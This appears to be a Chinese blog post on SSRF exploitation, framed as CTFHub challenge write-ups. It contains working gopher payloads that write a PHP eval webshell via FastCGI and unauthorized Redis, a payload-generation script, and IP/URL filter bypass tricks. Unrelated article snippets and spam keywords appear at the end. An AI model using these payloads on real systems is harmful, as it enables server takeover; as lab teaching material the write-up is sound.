<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    淺析SSRF的各種利用方式

    VSole2022-08-01 22:43:46

    前言

    之前的時候,對SSRF的了解僅限與概念,至于具體的利用方法,和繞過,都是沒有什么概念的,這一次,將之前沒有學到的東西好好學習一下,總結一下。

    什么是SSRF

    SSRF(服務端請求偽造漏洞) 由于服務端提供了從其他服務器應用獲取數據的功能,但又沒有對目標地址做嚴格過濾與限制,導致攻擊者可以傳入任意的地址來讓后端服務器對其發起請求,并返回對該目標地址請求的數據。

    一般情況下,SSRF針對的都是一些外網無法訪問的內網,所以需要SSRF使目標后端去訪問內網,進而達到我們攻擊內網的目的。

    通過SSRF,我們可以訪問目標內網的redis服務,mysql服務,smpt服務,fastcgi服務等

    造成漏洞的一些函數

    file_get_contents():將整個文件或一個url所指向的文件讀入一個字符串中。

    readfile():輸出一個文件的內容。

    fsockopen():打開一個網絡連接或者一個Unix 套接字連接。

    curl_exec():初始化一個新的會話,返回一個cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函數使用。

    fopen():打開一個文件文件或者 URL。

    file_get_contents()/readfile()

    $url = $_GET['url'];;
    echo file_get_contents($url);
    ?>
    

    fsockopen()

    fsockopen($hostname,$port,$errno,$errstr,$timeout)用于打開一個網絡連接或者一個Unix 套接字連接,初始化一個套接字連接到指定主機(hostname),實現對用戶指定url數據的獲取。該函數會使用socket跟服務器建立tcp連接,進行傳輸原始數據。fsockopen()將返回一個文件句柄,之后可以被其他文件類函數調用(例如:fgets(),fgetss(),fwrite(),fclose()還有feof())。如果調用失敗,將返回false

    $host=$_GET['url'];
    $fp = fsockopen($host, 80, $errno, $errstr, 30);
    if (!$fp) {
        echo "$errstr ($errno)
    ";
    } else {
        $out = "GET / HTTP/1.1\r";
        $out .= "Host: $host\r";
        $out .= "Connection: Close\r\r";
        fwrite($fp, $out);
        while (!feof($fp)) {
            echo fgets($fp, 128);
        }
        fclose($fp);
    }
    ?>
    

    curl_exec()

     
    $url=$_POST['url']; 
    $ch=curl_init($url);  //創造一個curl資源
    curl_setopt($ch, CURLOPT_HEADER, 0); //設置url和相應的選項
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
    $result=curl_exec($ch); // 抓取url并將其傳遞給瀏覽器
    curl_close($ch); //關閉curl資源
    echo ($result); 
    ?>
    

    接下來我就SSRF涉及的協議和一些bypass結合一些CTF進行分析

    SSRF攻擊中涉及的一些協議

    因為只是展示各個協議的用途,所以這里就不自己搭環境,直接用CTFHUB的技能樹了

    http協議

    題目描述: 嘗試訪問位于127.0.0.1的flag.php吧

    payload: ?url=http://127.0.0.1/flag.php


    這就是因為過濾 不嚴謹,導致我們可以訪問內網。

    dict協議

    在SSRF中,dict協議與http協議可用來探測內網的主機存活與端口開放情況。

    題目描述: 來來來性感CTFHub在線掃端口,據說端口范圍是8000-9000哦

    通過題目應該可以判斷 ,跟上一道題是差不多的,但是就是端口問題

    先判斷哪個端口存在web服務

    這里是直接用burp爆破端口就可以

    但是我估計環境出問題了,一直沒有爆破出想要的端口。

    這里如果爆破出的話,直接訪問就行

    file偽協議

    題目描述: 嘗試去讀取一下Web目錄下的flag.php吧

    file為協議就不用多說了

    payload:?url=file:/var/www/html/flag.php

    但是需要知道文件具體位置才能讀到敏感信息。

    Gopher協議

    Gopher是Internet上一個非常有名的信息查找系統,它將Internet 上的文件組織成某種索引,很方便地將用戶從Internet的一處帶到另一處如果發起post請求,回車換行需要使用%0d%0a,如果多個參數,參數之間的&也需要進行URL編碼

    在SSRF中經常會使用Gopher來構造GET/POST包攻擊應用。

    題目描述: 這次是發一個HTTP POST請求。對了,ssrf是用php的curl實現的。并且會跟蹤302跳轉,我準備了一個302.php,可能對你有用哦。

    進入題目直接查看源碼

    ?url=file:/var/www/html/flag.php 和 ?url=file:/var/www/html/index.php

    index.php

    error_reporting(0);
    if (!isset($_REQUEST['url'])){
        header("Location: /?url=_");
        exit;
    }
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_exec($ch);
    curl_close($ch);
    

    flag.php

    error_reporting(0);
    if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
        echo "Just View From 127.0.0.1";
        return;
    }
    $flag=getenv("CTFHUB");
    $key = md5($flag);
    if (isset($_POST["key"]) && $_POST["key"] == $key) {
        echo $flag;
        exit;
    }
    ?>
    

    這里告訴我們要去用127.0.0.1訪問flag.php

    那道key,看這個樣子是要我們POST key,但是提交頁面又沒有提交的按鈕,所以這里就需要我們去本地新建一個POST

    這里我們需要構造一個POST的數據包

    gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
    Host: 127.0.0.1:80
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 36
    key=00f001523d0b955749ea5e3b0ca09b5f
    

    然后我們就可以進行url編碼了,編碼次數取決于我們訪問次數。

    第一次編碼:

    gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0AHost:%20127.0.0.1:80%0AContent-Type:%20application/x-www-form-urlencoded%0AContent-Length:%2036%0A%0Akey=f1688c97bf2e6dda47be87e4d8f87cd7
    

    把%0A替換成%0d%0A,結尾加上%0d%0A,并且末尾要加上%0d%0a(\r)

    gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0AHost:%20127.0.0.1:80%0d%0AContent-Type:%20application/x-www-form-urlencoded%0d%0AContent-Length:%2036%0d%0A%0d%0Akey=f1688c97bf2e6dda47be87e4d8f87cd7%0d%0a
    

    然后在進行一次URL編碼

    gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Df1688c97bf2e6dda47be87e4d8f87cd7%250D%250A
    

    當然手動編碼,加上復雜的轉化,錯誤率大大提高,所以,我在網上找了個腳本

    import urllib.parse
    payload =\
    """POST /flag.php HTTP/1.1
    Host: 127.0.0.1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 36
    key=c384d200658f258e5b5c681bf0aa29a8
    """  
    #注意后面一定要有回車,回車結尾表示http請求結束
    tmp = urllib.parse.quote(payload)
    new = tmp.replace('%0A','%0D%0A')
    result = 'gopher://127.0.0.1:80/'+'_'+new
    result = urllib.parse.quote(result)
    print(result)       # 這里因為是GET請求所以要進行兩次url編碼
    

    直接將編碼所得,提交即可。

    FastCGI協議

    題目描述 :這次.我們需要攻擊一下fastcgi協議咯.也許附件的文章會對你有點幫助

    給了個附件介紹fastcgi協議和PHP-FPM

    FastCGI
    Wikipedia對FastCGI的解釋:快速通用網關接口(FastCommon Gateway Interface/FastCGI)是一種讓交互程序與Web服務器通信的協議。FastCGI是早期通用網關接口(CGI)的增強版本。FastCGI致力于減少網頁服務器與CGI程序之間交互的開銷,從而使服務器可以同時處理更多的網頁請求。
    php-fpm
    官方對php-fpm的解釋是FPM(FastCGI 進程管理器)用于替換 PHP FastCGI 的大部分附加功能,對于高負載網站是非常有用的。也就是說php-fpm是FastCGI的一個具體實現,其默認監聽9000端口
    

    這里,附件給的復現方式雖然已經挺好的了,但是我查閱資料后,發現還有第二種做法,而且相對簡單,我就用第二種做法,復現一下。

    使用工具 Gopherus(https://github.com/tarunkant/Gopherus)生成攻擊FastCGI協議的payload

    python gopherus.py --exploit fastcgi
    /var/www/html/index.php                 # 這里輸入的是一個已知存在的php文件
    echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4 | base64 -d > /var/www/html/shell.php
    

    這里我直接參考師傅的payload,生成的payload

    gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%07%07%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH134%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%19SCRIPT_FILENAME/var/www/html/index.php%20%20%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%86%04%00%3C%3Fphp%20system%28%27echo%20PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%20%7C%20base64%20-d%20%3E%20/var/www/html/shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
    

    這里對其進行url二次編碼,因為url會對其解碼一次,curl也會解碼一次,所以要編碼兩次。這個payload是已經進行過一次編碼的,所以再編碼一次即可。

    gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2503CONTENT_LENGTH134%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2586%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%2520%257C%2520base64%2520-d%2520%253E%2520/var/www/html/shell.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
    

    然后上傳成功

    蟻劍連接shell

    連接成功,并在根目錄找到flag

    Redis協議

    題目描述 :這次來攻擊redis協議吧,redis://127.0.0.1:6379。資料?沒有資料!自己找!

    總所周知,redis服務是開在6379端口,通常是利用redis未授權訪問而達到寫入shell或者反彈ssh等目的。

    這里我本來想著用gopherus 直接生成針對redis未授權訪問,寫入shell

    gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2430%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%271%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
    

    但是二次編碼的時候傳入沒有成功,不知道為什么。這里我還是用whoami師傅的方法來打。

    構造redis命令:

    flushall
    set 1 ''
    config set dir /var/www/html
    config set dbfilename shell.php
    save
    

    WHOAMI師傅的EXP腳本:

    import urllib
    protocol="gopher://"
    ip="127.0.0.1"
    port="6379"
    shell=""
    filename="shell.php"
    path="/var/www/html"
    passwd=""
    cmd=["flushall",
    "set 1 {}".format(shell.replace(" ","${IFS}")),
    "config set dir {}".format(path),
    "config set dbfilename {}".format(filename),
    "save"
    ]
    if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
    payload=protocol+ip+":"+port+"/_"
    def redis_format(arr):
    CRLF="\r"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
    cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd
    if __name__=="__main__":
    for x in cmd:
    payload += urllib.quote(redis_format(x))
    print urllib.quote(payload)    # 由于我們這里是GET,所以要進行兩次url編
    碼
    

    生成如下payload

    gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252435%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522whoami%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
    

    get傳值,蟻劍連接。

    但是我這一直報錯,就很怪

    常見的bypass繞過方式

    這里依舊用ctfhub的題目,但是繞過方法,我會就buu和ctfshow 的相關題目進行擴展。

    URL Bypass

    題目描述 :請求的URL中必須包含http://notfound.ctfhub.com,來嘗試利用URL的一些特殊地方繞過這個限制吧

    構造payload:

    ?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
    

    擴展:如果要求以http://notfound.ctfhub開頭.com 結尾的話,依舊可以使用@

    payload

    ?url=http://notfound.ctfhub@127.0.0.1/flag.php.com

    此類需要某某開頭 某某結束的題目均可使用@進行繞過。

    數字IP Bypass

    題目描述 :這次ban掉了127以及172.不能使用點分十進制的IP了。但是又要訪問127.0.0.1。該怎么辦呢

    不能使用127/172 我們可以使用進制轉換等

    進制轉換
    url=http://0x7f.0.0.1/flag.php
    url=http://0177.0.0.1/flag.php
    擴展:
    當有的對跳轉的地址的長度有要求
    host<5
    url=http://0/flag.php
    url=http://127.1/flag.php
    host<3
    url=http://0/flag.php
    

    302跳轉 Bypass

    題目描述:SSRF中有個很重要的一點是請求可能會跟隨302跳轉,嘗試利用這個來繞過對IP的檢測訪問到位于127.0.0.1的flag.php吧

    302跳轉就是由一個URL跳轉到另外一個URL當中去。

    IP被ban,改個不含127的試試

    出了,我甚至沒搞明白啥意思,有點懵。

    DNS重綁定 Bypass

    題目描述 :無

    DNS重綁定DNS Rebinding攻擊在網頁瀏覽過程中,用戶在地址欄中輸入包含域名的網址。瀏覽器通過DNS服務器將域名解析為IP地址,然后向對應的IP地址請求資源,最后展現給用戶。而對于域名所有者,他可以設置域名所對應的IP地址。當用戶第一次訪問,解析域名獲取一個IP地址;然后,域名持有者修改對應的IP地址;用戶再次請求該域名,就會獲取一個新的IP地址。對于瀏覽器來說,整個過程訪問的都是同一域名,所以認為是安全的。這就造成了DNS Rebinding攻擊。

    在自己服務器上寫一個index.php內容如下:

    header("Location:http://127.0.0.1/flag.php");
    

    然后payload訪問自己這個地址就可以了。

    或者也可以利用這個網站獲取一個測試用的域名:https://lock.cmpxchg8b.com/rebinder.html

    總結

    雖然這篇文章都是基于CTF來分析SSRF相關知識的,但是我覺得可以從這些CTF題目中延伸出一些滲透攻擊的思路。

    就比如:如果我們發現一處SSRF,我們可以使用使用file 偽協議讀取敏感信息,http/s和dict協議判斷內網存活主機和端口,從端口判斷內網中存在的服務。

    當我們發現redis/fastcgi/mysql等服務時, 我們可以利用協議gopher和工具 gopherus 進行getshell。

    參考

    http://www.qwzf.top/2020/03/21/SSRF%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91%E5%BA%94%E7%94%A8/

    https://www.freebuf.com/articles/web/258365.html

    https://blog.csdn.net/qq_49422880/article/details/117166929

    https://www.freebuf.com/articles/web/260806.html

    ssrfpost請求
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    web服務器經常需要從別的服務器獲取數據,如果獲取數據的服務器地址可控,攻擊者就可以通過web服務器自定義向別的服務器發出請求,本期我們聊一下ssrf漏洞原理和利用.快來一起看看吧
    一般情況下,SSRF針對的都是一些外網無法訪問的內網,所以需要SSRF使目標后端去訪問內網,進而達到我們攻擊內網的目的。
    SSRF常用的四種協議
    2021-07-19 10:53:05
    最近在項目中遇到了ssrf漏洞,并探測到了目標機器上監聽127.0.0.1的redis。嘗試用ssrf打了一波,雖然最后因權限問題沒能成功利用,但也學會了很多新東西,在這里給大家分享一下。
    HTTP request smuggling與CTF實戰利用
    OWASP API安全 TOP10
    2023-05-08 10:45:50
    同時,API的廣泛應用也為運維可見性、安全性提出了新的挑戰。OWASP為強調API安全的重要性,在2019年首次提出了API Security Top 10。該更新內容進一步強調了API攻擊場景與Web攻擊的差異化,突出API權限管理、資產管理、業務風控及供應鏈問題。
    OAuth2-0協議安全學習
    2022-08-19 15:55:35
    Forward發送,發現token并沒有進行內容綁定,成功login?點擊綁定social profile,對social media認證頁面進行抓包,得到令牌code?發送給受害者,而后重新登錄social media?可以看到host變成了我們的攻擊服務器,這就是問題所在?確認可以后發送給受害者,然后查看log,可以看到就能竊取到code??然后根據包的發送流程,將code進行修改callback回去?
    為API測試進行設Postman是一個方便的應用程序,使API安全測試變得輕而易舉。更糟糕的是,供內部使用的API往往沒有必要實施復雜的認證流程,因此可能會實施靜態令牌作為其認證。許多API會給出足夠詳細的錯誤,以列舉未記錄的端點和參數。
    本篇文章通過 網絡架構層、HTTP協議層、第三方應用層講解了繞過WAF的常見方法一、網絡架構層一般通過域名指向云WAF地址后反向實現代理,找到這些公司的服務器的真實IP即可實現繞過具體方法如下:1、查找相關的二級域名及同一域名注冊者的其他域名解析記錄。ISASP支持類似Unicode%u0027的編碼,還會對不合法的URL編碼進行字符刪除。
    藍隊初級防護總結
    2023-01-09 10:11:55
    三. 網站被上傳webshell如何處理?工具方面比如使用D盾webshellkill,河馬webshell查殺,百度在線webshell查殺等工具對網站目錄進行排查查殺,如果是在護網期間可以將樣本備份再進行查殺。堡壘機是針對內部運維人員的運維安全審計系統。WAFWAF是以網站或應用系統為核心的安全產品,通過對HTTP或HTTPS的Web攻擊行為進行分析并攔截,有效的降低網站安全風險。
    堡壘機是針對內部運維人員的運維安全審計系統。WAFWAF是以網站或應用系統為核心的安全產品,通過對HTTP或HTTPS的Web攻擊行為進行分析并攔截,有效的降低網站安全風險。設置賬戶鎖定策略,比如說登錄行為限制次數,達到次數后鎖定多長時間。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类